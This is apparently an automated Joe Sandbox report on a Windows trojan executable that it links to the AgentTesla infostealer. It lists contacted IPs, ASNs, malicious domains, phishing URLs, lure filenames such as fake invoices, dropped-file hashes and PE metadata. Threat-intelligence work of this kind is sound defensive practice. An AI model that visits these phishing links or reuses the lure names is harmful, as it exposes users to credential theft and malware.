111.68.31.130	unknown	Indonesia	55666	GMEDIA-AS-IDPTMediaSaranaDataID	false
195.30.84.76	unknown	Germany	5539	SPACENETSpaceNETAGDE	false
103.74.229.133	unknown	Bangladesh	131340	TAQWAIT-AS-APMdMozammelHoquetaTaqwaITBD	false
195.30.84.78	unknown	Germany	5539	SPACENETSpaceNETAGDE	false
116.96.92.214	unknown	Viet Nam	7552	VIETEL-AS-APViettelGroupVN	false
200.116.198.222	unknown	Colombia	13489	EPMTelecomunicacionesSAESPCO	false
154.202.109.44	unknown	Seychelles	139086	ONL-HKOCEANNETWORKLIMITEDHK	false
51.83.135.35	unknown	France	16276	OVHFR	false
103.25.210.102	unknown	Indonesia	132653	B-LINK-AS-IDPTTransdataSejahteraID	false
43.128.155.154	unknown	Japan	4249	LILLY-ASUS	true
114.129.2.82	unknown	Japan	7671	MCNETNTTSmartConnectCorporationJP	false
46.17.63.166	unknown	United Kingdom	39326	HSO-GROUPGB	false
180.178.104.106	unknown	Indonesia	38758	HYPERNET-AS-IDPTHIPERNETINDODATAID	false
117.69.237.183	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
62.171.131.101	unknown	United Kingdom	51167	CONTABODE	false
103.220.205.162	unknown	Bangladesh	59362	KSNETWORK-AS-APKSNetworkLimitedBD	false
103.47.93.250	unknown	India	9830	SWIFTONLINE-AS-APSWIFTONLINEBORDERASIN	true
183.56.243.209	unknown	China	58466	CT-GUANGZHOU-IDCCHINANETGuangdongprovincenetworkCN	false
154.73.28.193	unknown	Libyan Arab Jamahiriya	29286	SKYLOGIC-ASIT	false
116.90.229.186	unknown	Nepal	24550	WEBSURFERNP-AS-NPWebsurferNepalInternetServiceProvider	false
111.68.31.134	unknown	Indonesia	55666	GMEDIA-AS-IDPTMediaSaranaDataID	false
183.164.254.8	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
181.188.206.62	unknown	Ecuador	19114	OtecelSAEC	false
103.47.93.252	unknown	India	9830	SWIFTONLINE-AS-APSWIFTONLINEBORDERASIN	true
212.110.188.222	unknown	United Kingdom	35425	BYTEMARK-ASGB	true
1.2.221.134	unknown	Thailand	23969	TOT-NETTOTPublicCompanyLimitedTH	false
103.47.93.245	unknown	India	9830	SWIFTONLINE-AS-APSWIFTONLINEBORDERASIN	true
202.162.105.202	unknown	Singapore	64050	BCPL-SGBGPNETGlobalASNSG	false
46.36.70.104	unknown	Lithuania	43627	KLI-ASLT	false
212.110.188.220	unknown	United Kingdom	35425	BYTEMARK-ASGB	true
212.252.66.209	unknown	Turkey	8359	MTSRU	false
110.235.250.155	unknown	Cambodia	23673	ONLINE-ASCogetelOnlineCambodiaISPKH	false
109.123.254.43	unknown	Czech Republic	15685	CASABLANCA-ASInternetCollocationProviderCZ	true
103.131.18.172	unknown	Indonesia	138080	GMIS-AS-IDPTGlobalMediaIntiSemestaID	false
190.239.163.166	unknown	Peru	6147	TelefonicadelPeruSAAPE	false
67.213.210.118	unknown	United States	32780	HOSTINGSERVICES-INCUS	true
38.253.88.242	unknown	United States	174	COGENT-174US	false
172.67.200.220	unknown	United States	13335	CLOUDFLARENETUS	false
147.135.46.7	unknown	United States	16276	OVHFR	false
185.18.198.253	unknown	Spain	198432	IPCORE-ASES	false
213.91.232.94	unknown	Bulgaria	8866	BTC-ASBULGARIABG	false
74.103.66.15	unknown	United States	701	UUNETUS	false
92.246.139.113	unknown	Russian Federation	8744	MEGAMAX-ASNizhnyNovgorodRU	true
219.73.88.167	unknown	Hong Kong	4760	HKTIMS-APHKTLimitedHK	false
92.246.139.112	unknown	Russian Federation	8744	MEGAMAX-ASNizhnyNovgorodRU	true
212.110.188.216	unknown	United Kingdom	35425	BYTEMARK-ASGB	true
188.25.121.203	unknown	Romania	8708	RCS-RDS73-75DrStaicoviciRO	false
103.47.93.241	unknown	India	9830	SWIFTONLINE-AS-APSWIFTONLINEBORDERASIN	true
92.246.139.106	unknown	Russian Federation	8744	MEGAMAX-ASNizhnyNovgorodRU	true
103.47.93.236	unknown	India	9830	SWIFTONLINE-AS-APSWIFTONLINEBORDERASIN	true
212.110.188.213	unknown	United Kingdom	35425	BYTEMARK-ASGB	true
183.215.23.242	unknown	China	56047	CMNET-HUNAN-APChinaMobilecommunicationscorporationCN	false
35.207.123.94	unknown	United States	19527	GOOGLE-2US	false
162.144.32.209	unknown	United States	46606	UNIFIEDLAYER-AS-1US	true
103.153.63.211	unknown	unknown	134687	TWIDC-AS-APTWIDCLimitedHK	false
43.246.143.250	unknown	India	134294	RPWORLDTELECOM-ASRPWorldTelecomPvtLtdIN	false
96.80.235.1	unknown	United States	7922	COMCAST-7922US	false
103.107.68.5	unknown	Indonesia	137292	ICT-AS-IDPTIntranusaCoreTeknologiID	false
80.235.108.14	unknown	Estonia	3249	ESTPAKEE	false
45.249.79.190	unknown	India	18229	CTRLS-AS-INCtrlSDatacentersLtdIN	false
158.220.91.232	unknown	Switzerland	8556	LEVANTISCH	false
148.72.23.56	unknown	United States	26496	AS-26496-GO-DADDY-COM-LLCUS	true
194.31.64.197	unknown	unknown	60721	BURSABILTR	false
188.163.170.130	unknown	Ukraine	15895	KSNET-ASUA	false
81.250.223.126	unknown	France	3215	FranceTelecom-OrangeFR	false
218.252.244.126	unknown	Hong Kong	9908	HKCABLE2-HK-APHKCableTVLtdHK	false
183.165.245.27	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
212.110.188.204	unknown	United Kingdom	35425	BYTEMARK-ASGB	true
191.101.1.116	unknown	Chile	61317	ASDETUKhttpwwwheficedcomGB	false
94.131.14.66	unknown	Ukraine	29632	NASSIST-ASGI	false
212.110.188.207	unknown	United Kingdom	35425	BYTEMARK-ASGB	true
179.0.176.4	unknown	unknown	270832	DANTASARAGAOLTDABR	false
139.180.223.81	unknown	United States	20473	AS-CHOOPAUS	false
118.173.230.19	unknown	Thailand	23969	TOT-NETTOTPublicCompanyLimitedTH	false
51.15.139.59	unknown	France	12876	OnlineSASFR	false
104.17.9.114	unknown	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1397655
Start date and time:	2024-02-23 14:27:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 6s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winEXE@3/3@6/100
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 76 Number of non-executed functions: 7
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 69.164.46.0
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, wu-bg-shim.trafficmanager.net, fe3cr.delivery.mp.microsoft.com
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
14:28:19	API Interceptor	185x Sleep call for process: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe modified
14:28:48	API Interceptor	51x Sleep call for process: RegSvcs.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
5.42.81.57	n1KVzXM8Wk.exe	Get hash	malicious	AgentTesla	Browse
	RFQ.exe	Get hash	malicious	FormBook	Browse
	PO-007UPS0045-PDF.exe	Get hash	malicious	AgentTesla	Browse
	cotizaci#U00f3n.exe	Get hash	malicious	AgentTesla	Browse
	Scan 20.02.24.pdf.exe	Get hash	malicious	AgentTesla	Browse
	FEDEX & INVOICE.Tracking Details.exe	Get hash	malicious	AgentTesla	Browse
93.171.243.253	PO #1131011152-2024-Order,pdf.exe	Get hash	malicious	AgentTesla	Browse
	SecuriteInfo.com.Win64.ExploitX-gen.17969.12173.exe	Get hash	malicious	AgentTesla	Browse
	FEDEX & INVOICE.Tracking Details.exe	Get hash	malicious	AgentTesla	Browse
173.209.66.178	n1KVzXM8Wk.exe	Get hash	malicious	AgentTesla	Browse
	RFQ.exe	Get hash	malicious	FormBook	Browse
	PO-007UPS0045-PDF.exe	Get hash	malicious	AgentTesla	Browse
	cotizaci#U00f3n.exe	Get hash	malicious	AgentTesla	Browse
	Scan 20.02.24.pdf.exe	Get hash	malicious	AgentTesla	Browse
	FEDEX & INVOICE.Tracking Details.exe	Get hash	malicious	AgentTesla	Browse
212.110.188.202	n1KVzXM8Wk.exe	Get hash	malicious	AgentTesla	Browse	heygirlisheeverythingyouwantedinaman.comheygirlisheeverythingyouwantedinaman.com:443
107.148.103.231	n1KVzXM8Wk.exe	Get hash	malicious	AgentTesla	Browse
107.148.103.231	Scan 20.02.24.pdf.exe	Get hash	malicious	AgentTesla	Browse
24.230.33.96	n1KVzXM8Wk.exe	Get hash	malicious	AgentTesla	Browse
	RFQ.exe	Get hash	malicious	FormBook	Browse
	PO-007UPS0045-PDF.exe	Get hash	malicious	AgentTesla	Browse
	cotizaci#U00f3n.exe	Get hash	malicious	AgentTesla	Browse
	PO #1131011152-2024-Order,pdf.exe	Get hash	malicious	AgentTesla	Browse
	SecuriteInfo.com.Win64.ExploitX-gen.17969.12173.exe	Get hash	malicious	AgentTesla	Browse
	Scan 20.02.24.pdf.exe	Get hash	malicious	AgentTesla	Browse
	FEDEX & INVOICE.Tracking Details.exe	Get hash	malicious	AgentTesla	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ip-api.com	proforma invoice.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	#1_4636233527.pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	BL-SHIPPING DOCS.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	e-dekont.exe	Get hash	malicious	AgentTesla, PureLog Stealer, RedLine	Browse	208.95.112.1
	Order Number#2024218.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	solicitud de cotizacin00784.pdf.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	hesaphareketi-01.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	comprobante_swift0000099.xla.xlsx	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	I7jJ95wb95.exe	Get hash	malicious	Unknown	Browse	208.95.112.1
	FW Review excrypted document for verification.eml	Get hash	malicious	HTMLPhisher	Browse	38.91.101.241
heygirlisheeverythingyouwantedinaman.com	n1KVzXM8Wk.exe	Get hash	malicious	AgentTesla	Browse	172.67.190.93
	FEDEX & INVOICE.Tracking Details.exe	Get hash	malicious	AgentTesla	Browse	104.21.57.121
	IMAGE003.EXE.exe	Get hash	malicious	AgentTesla, Neshta	Browse	172.67.190.93
	Confirmaci#U00f3n de cotizaci#U00f3n.exe	Get hash	malicious	AgentTesla	Browse	104.21.57.121
	payment.exe	Get hash	malicious	AgentTesla	Browse	172.67.190.93
	New Order 7003153933.exe	Get hash	malicious	AgentTesla	Browse	172.67.190.93
	SecuriteInfo.com.Win32.TrojanX-gen.31554.32714.exe	Get hash	malicious	lgoogLoader	Browse	104.21.57.121
	DHL_9876453423465789789787534657689867545343.exe	Get hash	malicious	AgentTesla	Browse	104.21.57.121
	Soluciones de energia Nanovec.exe	Get hash	malicious	AgentTesla	Browse	104.21.57.121
	SS Bottmac Engineers Pvt. Ltd.pdf.exe	Get hash	malicious	AgentTesla	Browse	172.67.190.93
ktxcomay.com.vn	n1KVzXM8Wk.exe	Get hash	malicious	AgentTesla	Browse	222.255.238.159
ktxcomay.com.vn	FEDEX & INVOICE.Tracking Details.exe	Get hash	malicious	AgentTesla	Browse	222.255.238.159
repository.gij.edu.gh	n1KVzXM8Wk.exe	Get hash	malicious	AgentTesla	Browse	102.223.20.217
windowsupdatebg.s.llnwi.net	https://bc094b46f5e23f111f193644d8b310f1.dlied1.cdntips.net/dldir1.qq.com/weixin/Windows/patch/WeChat_B15to43_V3.9.8to3.9.9.patch	Get hash	malicious	Unknown	Browse	69.164.46.128
	https://o365aqzkadahajmsditmwjlo-987555.webflow.io/	Get hash	malicious	HTMLPhisher	Browse	69.164.46.0
	https://helpdesk-outlookwmail-7818d396f2473b0.netlify.app/owa	Get hash	malicious	Unknown	Browse	69.164.46.128
	https://hr.economictimes.indiatimes.com/etl.php?url=//soulfulmessenger.com/info/organization/docusign/hsghshkfjhfggshsjskssnhsggsgsjsooeuettrnclslksjuei/kskkshgdgdusjsjshsgshsjkloeieyehehejesksjhhhdhdhdhdhgsggsss/devry.edu/cmpha3ViYXVza2FzQGRldnJ5LmVkdQ==&data=0501rjakubauskas@devry.edua977b59b77034920fed308dbf5c3c6bcf979c99c51ab4ff686e035fd2874788f00638373994966220925UnknownTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0=0&sdata=ur2xJ9E5eF8Oj/ehrg18hs7tl7AI3uQ/P7MAYRz9kYU=&reserved=0	Get hash	malicious	Phisher	Browse	69.164.46.0
	https://bhazine12.com/	Get hash	malicious	Unknown	Browse	69.164.46.0
	https://konfirmasi-tarif-bnl-2024.info-danna.bio/	Get hash	malicious	Unknown	Browse	69.164.46.128
	https://teleswop.ru/	Get hash	malicious	Unknown	Browse	69.164.46.0
	https://allenodom.autos/serene/dune/?box=green	Get hash	malicious	TechSupportScam	Browse	69.164.46.0
	https://chesc.com.mx/s/_.php?uni=lgostisha@rittertech.com&aidna=Ki5jaGVzYy5jb20ubXg=&u=aWFicy5pZS93YS9wcHBwcHBwcHBwcHBwcHBwcHBwcHBwZ2dnZ2cvbGdvc3Rpc2hhQHJpdHRlcnRlY2guY29t	Get hash	malicious	Unknown	Browse	69.164.46.0
	https://zpr.io/qzPf9Z64W4Df	Get hash	malicious	Phisher	Browse	69.164.46.128
github.com	n1KVzXM8Wk.exe	Get hash	malicious	AgentTesla	Browse	140.82.114.3
	5gYbiVoVGm	Get hash	malicious	Unknown	Browse	140.82.114.4
	PO-65547.js	Get hash	malicious	STRRAT	Browse	140.82.113.4
	PO-65547.js	Get hash	malicious	STRRAT	Browse	140.82.113.4
	SecuriteInfo.com.W64.ABRisk.PVEG-3846.30817.29399.exe	Get hash	malicious	Unknown	Browse	140.82.113.4
	FACTURA DE PROFORMA.jar	Get hash	malicious	STRRAT	Browse	140.82.113.3
	SecuriteInfo.com.FileRepMalware.30979.22180.exe	Get hash	malicious	Unknown	Browse	140.82.114.5

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
RU-KSTVKolomnaGroupofcompaniesGuarantee-tvRU	n1KVzXM8Wk.exe	Get hash	malicious	AgentTesla	Browse	5.42.81.57
	Z5FGV1n64L.elf	Get hash	malicious	Unknown	Browse	5.42.35.202
	SecuriteInfo.com.Win32.Evo-gen.10846.18749.exe	Get hash	malicious	RedLine	Browse	5.42.65.31
	RFQ.exe	Get hash	malicious	FormBook	Browse	5.42.81.57
	PO-007UPS0045-PDF.exe	Get hash	malicious	AgentTesla	Browse	5.42.81.57
	cotizaci#U00f3n.exe	Get hash	malicious	AgentTesla	Browse	5.42.81.57
	WuZJHJZvzy.exe	Get hash	malicious	RedLine	Browse	5.42.65.31
	file.zip	Get hash	malicious	Unknown	Browse	5.42.81.51
	8holJWXFZe.exe	Get hash	malicious	Glupteba, LummaC Stealer, SmokeLoader, Stealc	Browse	5.42.64.33
	hkXE3abs6j.exe	Get hash	malicious	GCleaner, RedLine	Browse	5.42.65.115
BYTEMARK-ASGB	n1KVzXM8Wk.exe	Get hash	malicious	AgentTesla	Browse	212.110.188.207
	RFQ.exe	Get hash	malicious	FormBook	Browse	212.110.188.207
	PO-007UPS0045-PDF.exe	Get hash	malicious	AgentTesla	Browse	212.110.188.207
	cotizaci#U00f3n.exe	Get hash	malicious	AgentTesla	Browse	212.110.188.207
	PO #1131011152-2024-Order,pdf.exe	Get hash	malicious	AgentTesla	Browse	212.110.188.207
	SecuriteInfo.com.Win64.ExploitX-gen.17969.12173.exe	Get hash	malicious	AgentTesla	Browse	212.110.188.207
	Scan 20.02.24.pdf.exe	Get hash	malicious	AgentTesla	Browse	212.110.188.207
	FEDEX & INVOICE.Tracking Details.exe	Get hash	malicious	AgentTesla	Browse	212.110.188.207
	6Oxib4L1XD.elf	Get hash	malicious	Mirai	Browse	46.43.54.231
	hFOOd4N84Z.doc	Get hash	malicious	Unknown	Browse	194.76.27.26
PEGTECHINCUS	0qqWPblYC3.elf	Get hash	malicious	Moobot	Browse	154.88.173.232
	tOmZunyvIE.elf	Get hash	malicious	Moobot	Browse	154.84.242.235
	n1KVzXM8Wk.exe	Get hash	malicious	AgentTesla	Browse	107.148.103.231
	iQtYQmV5yF.elf	Get hash	malicious	Mirai	Browse	165.3.147.119
	dF9J4scvUW.elf	Get hash	malicious	Mirai	Browse	156.243.156.229
	97OKse8hGO.elf	Get hash	malicious	Mirai	Browse	156.243.156.247
	y9o3Fy6gL2.exe	Get hash	malicious	Glupteba, LummaC Stealer, SmokeLoader, Stealc	Browse	193.160.32.19
	3mc5KKo4ae.elf	Get hash	malicious	Mirai	Browse	108.186.219.204
	MCYq2AqNU0.exe	Get hash	malicious	Glupteba, LummaC Stealer, SmokeLoader, Stealc, Xmrig	Browse	193.160.32.19
	Scan 20.02.24.pdf.exe	Get hash	malicious	AgentTesla	Browse	107.148.103.231
OVDC-ASUA	PO #1131011152-2024-Order,pdf.exe	Get hash	malicious	AgentTesla	Browse	93.171.243.253
	SecuriteInfo.com.Win64.ExploitX-gen.17969.12173.exe	Get hash	malicious	AgentTesla	Browse	93.171.243.253
	FEDEX & INVOICE.Tracking Details.exe	Get hash	malicious	AgentTesla	Browse	93.171.243.253
AS-SMARTCOMUS	n1KVzXM8Wk.exe	Get hash	malicious	AgentTesla	Browse	173.209.66.178
	RFQ.exe	Get hash	malicious	FormBook	Browse	173.209.66.178
	PO-007UPS0045-PDF.exe	Get hash	malicious	AgentTesla	Browse	173.209.66.178
	cotizaci#U00f3n.exe	Get hash	malicious	AgentTesla	Browse	173.209.66.178
	Scan 20.02.24.pdf.exe	Get hash	malicious	AgentTesla	Browse	173.209.66.178
	FEDEX & INVOICE.Tracking Details.exe	Get hash	malicious	AgentTesla	Browse	173.209.66.178
	mips.elf	Get hash	malicious	Mirai	Browse	64.88.216.251
	XhMvMaNI5c.elf	Get hash	malicious	Gafgyt, Mirai	Browse	170.76.254.151
	yNTNhDZfSZ.elf	Get hash	malicious	Mirai	Browse	64.209.158.95
	GTU8OY0vHP.elf	Get hash	malicious	Mirai	Browse	64.209.146.86

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	https://bc094b46f5e23f111f193644d8b310f1.dlied1.cdntips.net/dldir1.qq.com/weixin/Windows/patch/WeChat_B15to43_V3.9.8to3.9.9.patch	Get hash	malicious	Unknown	Browse	140.82.113.4 172.67.190.93 102.223.20.217 222.255.238.159
	SecuriteInfo.com.Heur.30198.9129.msi	Get hash	malicious	Unknown	Browse	140.82.113.4 172.67.190.93 102.223.20.217 222.255.238.159
	https://o365aqzkadahajmsditmwjlo-987555.webflow.io/	Get hash	malicious	HTMLPhisher	Browse	140.82.113.4 172.67.190.93 102.223.20.217 222.255.238.159
	https://helpdesk-outlookwmail-7818d396f2473b0.netlify.app/owa	Get hash	malicious	Unknown	Browse	140.82.113.4 172.67.190.93 102.223.20.217 222.255.238.159
	n1KVzXM8Wk.exe	Get hash	malicious	AgentTesla	Browse	140.82.113.4 172.67.190.93 102.223.20.217 222.255.238.159
	proforma invoice.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	140.82.113.4 172.67.190.93 102.223.20.217 222.255.238.159
	SecuriteInfo.com.Win32.MalwareX-gen.170.29118.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	140.82.113.4 172.67.190.93 102.223.20.217 222.255.238.159
	http://clickme.thryv.com/ls/click?upn=VyfUTP2bVlpK0hOwWs7CtN-2B6vKaEhutADkrG-2BKIumePlKEeAq3UDO7axjMdpHpNhLASr_CjhLEltjeUvNiSxzlEx-2Fo4f2AjxyuFZPJ6qZBQqs9WuRyc04d-2FspcOgvvEm6ByMAIg5elPgM-2BJ-2BAJm0MPon9uZumXhm3fTqi2esICVg0W6CJpg5dNC09EtMhn7LH9GGk-2Bt-2FIc7bkPSOEBNzgo2LgBLXtzPUNFxSR00VR6-2BT91FD-2FnrOJhhH5irBZKWApsce-2FXptZoG3-2FygOZTz2S80ARON7-2BqFq-2BRK-2BMbnBX5iMn3kzPvfpfQbZVYvfP3qUDcfLLzAsEe6BmCLLwDFLPCiK3FsmUv7ihnpVaV2Ken3r1SCfE10SYPlfx7WKlapJJ06uBpcazVsT7IP5dCSNTsfsruvFLAAwYjDkRdrCmOx9i9rE-3D#0sacchione@vectra.ai	Get hash	malicious	HTMLPhisher	Browse	140.82.113.4 172.67.190.93 102.223.20.217 222.255.238.159
	https://pub-611a8e97e95a4f898b0f76c8b870e436.r2.dev/vm.html	Get hash	malicious	HTMLPhisher	Browse	140.82.113.4 172.67.190.93 102.223.20.217 222.255.238.159
	installer-build-x64.exe	Get hash	malicious	Unknown	Browse	140.82.113.4 172.67.190.93 102.223.20.217 222.255.238.159

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 66791 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	66791
Entropy (8bit):	7.995531727155867
Encrypted:	true
SSDEEP:	1536:drFvD2YSE/sFDqV0FJJynkAhftCvMd3coa282frgW1qgNzU:drVDJSeaDqV0FJwLhVkr282fF5U
MD5:	AC05D27423A85ADC1622C714F2CB6184
SHA1:	B0FE2B1ABDDB97837EA0195BE70AB2FF14D43198
SHA-256:	C6456E12E5E53287A547AF4103E0397CB9697E466CF75844312DC296D43D144D
SHA-512:	6D0EF9050E41FBAE680E0E59DD0F90B6AC7FEA5579EF5708B69D5DA33A0ECE7E8B16574B58B17B64A34CC34A4FFC22B4A62C1ECE61F36C4A11A0665E0536B90D
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	MSCF............,...................I.................gW.e .authroot.stl..u/1.5..CK..<Tk...p.k:..c.Y:.(Qc...%Y.f_...$..DHn..6i/.]....-!QQ..}f..f...}..1....9.......pN..mI.a.....!...N.....xP.f6..C.'#.c.@GN(3.<3.......9...('3...l.l....B..x..e...UWFU.TT.l.L...._.l1......w.\..Xb.v..Q......pKP.....M`.Y......Op4=.(=P.e...p.(U.....z7MF..O......V2.....#...pj...z.!...wQ...V&.Gz..Nv.4..y(J...A..':.2Q.^u.y..<.1..2..o........H.D.S.....62.\| w(...B.......h.QZ..'....l.<....6..Z...p?... .pT.......l..S..K....FT?.....p..`.&..y..."T=l.n..egf.w..X.Y...G.m....=.}cO.7.....9....o..:.Y=.-.5....ud.J&.]..Q..._<.S....{a.=.n...PT.Um).\| kpyA....h.PXY.>.......^2U...H.....V<\...k..~....H..p...8..'..?...r>.4..!u......1\.`.<.+..n..p..]...).....L.g....#.<..c]R.U."\i.Z.>...`Q..g6....0.......F.........N.s.Z..A........m.^....a_..>v.-.mk...wt.n.:...>S..;....1...j.+m.&S......$.T...i.B=h.n...c.!e.....Y.#..bw.}...d.. ..w... .&..w.9..}k...\...=....{q.Up..y;..7.-.K.'.....

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	2.955578759739282
Encrypted:	false
SSDEEP:	6:kK6YwsujN+SkQlPlEGYRMY9z+4KlDA3RUe/:S23kPlE99SNxAhUe/
MD5:	27D09EA557AE78B9B75894B94C8B2194
SHA1:	51A807F53CCBBCF53F16C2EF8ABC28362850F3F5
SHA-256:	06BCAC0849C16B76A753B8995F80972D1170E234287E048D89291FF2D9352C56
SHA-512:	B3E71DC36CAC65D5787D6DD501509720EC8128C1495A096D92EFD3969428648ED797A8C4BAF2EB54DAB6436C0AA4F7DCF01776F8AB0F8E63144253150EC47727
Malicious:	false
Reputation:	low
Preview:	p...... ..........Qcf..(....................................................... ..........H"......................h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe.log

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	1721
Entropy (8bit):	5.388832516468223
Encrypted:	false
SSDEEP:	48:MxHKQ71qHGIs0HKCYHKGSI6oPtHTHhAHKKk9HU+vxp3/elT:iq+wmj0qCYqGSI6oPtzHeqKk9XZp/elT
MD5:	A9C75E4DC6040B8404644996F91FCE4C
SHA1:	26C4BECC9D23087A18BF5DBC99F0F4D4F4B9EC8B
SHA-256:	92CE8582BEE514FA23A910E22BEFAC3279FC50BD080CAB5447CEFBF3DB79DDDD
SHA-512:	78AFC9F5FCF89BB6256430ED554CA529E62E7D766AC38DF46C22D7EE32ACE42894C2A3846FA813276A1F6AD754EB278201F3AEF5F34D930D1B6B79779D1EB4D8
Malicious:	false
Reputation:	low
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\S

Static File Info

General

File type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.840280501310309
TrID:	Win64 Executable GUI Net Framework (217006/5) 49.88% Win64 Executable GUI (202006/5) 46.43% Win64 Executable (generic) (12005/4) 2.76% Generic Win/DOS Executable (2004/3) 0.46% DOS Executable Generic (2002/1) 0.46%
File name:	SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe
File size:	40'960 bytes
MD5:	26c95e5acba77d7fd14d109c94f75cca
SHA1:	56359d96cd63d66b51eb49acd46d8df25f170c30
SHA256:	32272f676a500007b4321f7c076ec3169305615e230dad3d89c63e0cfd24c1c6
SHA512:	6b2bd0a6240a13b641d005dc34cd364fd5eb2bb861d49d33bf826766ea0daf4a264f1182905363720b6a8bfad03d97386e965863578e57cf2cf5403d1309363a
SSDEEP:	768:1pc7ngE+7L+Phy83dWrz7lwHZjl7GdoUNIBBv5r:1Aj+7100rz7lwHj7QSBvJ
TLSH:	7F038D11E7ECC63FEDBF53B9A87110125331E756A242EB4D9E49C29D2857BC40362BA3
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...N.Z..........."...0.................. ....@...... ....................................`................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x400000
Entrypoint Section:
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
